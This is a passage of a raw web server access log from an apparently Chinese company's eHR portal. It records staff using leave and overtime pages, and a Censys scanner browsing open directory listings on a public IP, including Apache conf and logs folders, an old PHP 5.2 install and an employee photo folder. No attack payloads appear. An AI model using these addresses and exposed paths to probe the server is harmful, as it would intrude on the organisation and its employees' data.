NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:15:17:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.125 - - [04/Dec/2025:15:17:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.879894459129462 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:15:17:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.879894459129462 HTTP/1.1" 200 10228 192.168.11.125 - - [04/Dec/2025:15:17:47 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.879894459129462 HTTP/1.1" 200 12411 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.879894459129462" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:15:17:47 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.879894459129462 HTTP/1.1" 200 12411 192.168.11.125 - - [04/Dec/2025:15:17:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [04/Dec/2025:15:17:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 100.64.0.1 - - [04/Dec/2025:15:23:26 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" 100.64.0.1 - - [04/Dec/2025:15:23:26 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:15:23:44 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0" 100.64.0.1 - - [04/Dec/2025:15:23:44 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [04/Dec/2025:15:30:02 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)" 100.64.0.1 - - [04/Dec/2025:15:30:02 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [04/Dec/2025:15:30:09 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20" 100.64.0.1 - - [04/Dec/2025:15:30:09 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:15:31:40 +0800] "GET / HTTP/1.1" 200 439 "-" "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)" 100.64.0.1 - - [04/Dec/2025:15:31:40 +0800] "GET / HTTP/1.1" 200 439 192.168.139.16 - - [04/Dec/2025:15:34:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:34:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:34:59 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:34:59 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [04/Dec/2025:15:34:59 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:34:59 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 100.64.0.1 - - [04/Dec/2025:15:36:38 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.27 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/601.1.27" 100.64.0.1 - - [04/Dec/2025:15:36:38 +0800] "GET / HTTP/1.1" 200 439 192.168.139.16 - - [04/Dec/2025:15:59:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:59:40 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.139.16 - - [04/Dec/2025:15:59:42 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:59:42 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.139.16 - - [04/Dec/2025:15:59:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [04/Dec/2025:15:59:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 100.64.0.1 - - [04/Dec/2025:16:02:16 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [04/Dec/2025:16:02:16 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [04/Dec/2025:16:02:17 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:17 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:16:02:18 +0800] "PRI * HTTP/2.0" 400 226 "-" "-" 100.64.0.1 - - [04/Dec/2025:16:02:18 +0800] "PRI * HTTP/2.0" 400 226 100.64.0.1 - - [04/Dec/2025:16:02:19 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:19 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [04/Dec/2025:16:02:26 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:26 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:16:02:28 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:28 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 100.64.0.1 - - [04/Dec/2025:16:02:28 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://202.111.43.170:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:28 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [04/Dec/2025:16:02:29 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290 100.64.0.1 - - [04/Dec/2025:16:02:29 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:29 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:29 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 100.64.0.1 - - [04/Dec/2025:16:02:30 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 309 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:30 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 309 100.64.0.1 - - [04/Dec/2025:16:02:30 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:30 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241 100.64.0.1 - - [04/Dec/2025:16:02:31 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 313 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:31 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 313 100.64.0.1 - - [04/Dec/2025:16:02:31 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:31 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528 100.64.0.1 - - [04/Dec/2025:16:02:31 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 313 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:31 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 313 100.64.0.1 - - [04/Dec/2025:16:02:32 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:32 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528 100.64.0.1 - - [04/Dec/2025:16:02:32 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:32 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 100.64.0.1 - - [04/Dec/2025:16:02:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 "http://202.111.43.170:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 100.64.0.1 - - [04/Dec/2025:16:02:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276 100.64.0.1 - - [04/Dec/2025:16:02:37 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:37 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 100.64.0.1 - - [04/Dec/2025:16:02:37 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:37 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs HTTP/1.1" 301 283 100.64.0.1 - - [04/Dec/2025:16:02:38 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs/ HTTP/1.1" 200 44 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/htdocs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:38 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs/ HTTP/1.1" 200 44 100.64.0.1 - - [04/Dec/2025:16:02:38 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:38 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 281 100.64.0.1 - - [04/Dec/2025:16:02:39 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/conf" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:39 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777 100.64.0.1 - - [04/Dec/2025:16:02:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 282 100.64.0.1 - - [04/Dec/2025:16:02:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/icons" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:40 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 100.64.0.1 - - [04/Dec/2025:16:02:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 282 100.64.0.1 - - [04/Dec/2025:16:02:43 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/error" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:43 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 100.64.0.1 - - [04/Dec/2025:16:02:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 284 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:44 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 284 100.64.0.1 - - [04/Dec/2025:16:02:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/cgi-bin" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247 100.64.0.1 - - [04/Dec/2025:16:02:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:45 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 281 100.64.0.1 - - [04/Dec/2025:16:02:46 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 16863 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/logs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:46 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 16863 100.64.0.1 - - [04/Dec/2025:16:02:48 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:48 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:16:02:50 +0800] "GET /eHR HTTP/1.1" 301 239 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:50 +0800] "GET /eHR HTTP/1.1" 301 239 100.64.0.1 - - [04/Dec/2025:16:02:51 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:51 +0800] "GET /eHR/ HTTP/1.1" 200 649 100.64.0.1 - - [04/Dec/2025:16:02:52 +0800] "GET /eHR1 HTTP/1.1" 301 240 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:52 +0800] "GET /eHR1 HTTP/1.1" 301 240 100.64.0.1 - - [04/Dec/2025:16:02:53 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR1" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:53 +0800] "GET /eHR1/ HTTP/1.1" 200 649 100.64.0.1 - - [04/Dec/2025:16:02:56 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:56 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 100.64.0.1 - - [04/Dec/2025:16:02:57 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://202.111.43.170:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:57 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [04/Dec/2025:16:02:59 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:02:59 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283 100.64.0.1 - - [04/Dec/2025:16:03:00 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:03:00 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 100.64.0.1 - - [04/Dec/2025:16:03:02 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:03:02 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 287 100.64.0.1 - - [04/Dec/2025:16:03:04 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/dev" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:16:03:04 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 100.64.0.1 - - [04/Dec/2025:16:03:05 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [04/Dec/2025:16:03:05 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [04/Dec/2025:16:03:06 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 100.64.0.1 - - [04/Dec/2025:16:03:06 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 192.168.11.132 - - [04/Dec/2025:16:22:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:22:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.132 - - [04/Dec/2025:16:22:53 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.132 - - [04/Dec/2025:16:22:53 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:22:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:22:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.132 - - [04/Dec/2025:16:22:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:22:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.132 - - [04/Dec/2025:16:23:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7525 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:23:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7525 192.168.11.132 - - [04/Dec/2025:16:23:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167978 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:23:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167978 192.168.11.132 - - [04/Dec/2025:16:23:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:23:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.132 - - [04/Dec/2025:16:23:29 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7475987982826129 HTTP/1.1" 200 8592 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:23:29 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7475987982826129 HTTP/1.1" 200 8592 192.168.11.132 - - [04/Dec/2025:16:23:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7475987982826129 HTTP/1.1" 200 16458 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7475987982826129" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [04/Dec/2025:16:23:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7475987982826129 HTTP/1.1" 200 16458 192.168.11.132 - - [04/Dec/2025:16:23:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 